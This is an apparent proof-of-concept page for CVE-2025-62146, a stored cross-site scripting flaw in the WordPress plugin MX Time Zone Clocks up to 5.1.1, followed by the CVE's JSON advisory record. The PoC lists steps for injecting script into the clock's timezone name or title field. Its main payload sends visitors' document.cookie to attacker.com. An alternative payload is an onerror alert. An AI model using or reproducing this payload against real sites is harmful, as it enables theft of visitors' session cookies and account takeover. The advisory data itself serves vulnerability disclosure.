CVE-2025-62146

// CVE-2025-62146 Stored XSS PoC for MX Time Zone Clocks Plugin // This PoC demonstrates the stored XSS vulnerability in MX Time Zone Clocks <= 5.1.1 // Step 1: Identify the vulnerable parameter // The vulnerability exists in the timezone name field of the MX Time Zone Clocks widget // Step 2: Inject malicious JavaScript payload // In the timezone name or clock title field, inject: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Alternative payload for testing: const altPayload = '<img src=x onerror="alert(document.domain)">'; // Step 3: Save the configuration // The payload is stored in the database and executed on page load // Step 4: Verification // Visit the page containing the clock widget to trigger the XSS console.log('PoC for CVE-2025-62146: Stored XSS in MX Time Zone Clocks');

{"cve": {"id": "CVE-2025-62146", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:51.307", "lastModified": "2026-04-23T15:34:37.647", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Maksym Marko MX Time Zone Clocks mx-time-zone-clocks allows Stored XSS.This issue affects MX Time Zone Clocks: from n/a through <= 5.1.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Maksym Marko MX Time Zone Clocks permite XSS Almacenado. Este problema afecta a MX Time Zone Clocks: desde n/a hasta 5.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mx-time-zone-clocks/vulnerability/wordpress-mx-time-zone-clocks-plugin-5-1-1-cross-site-scripting-xss-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}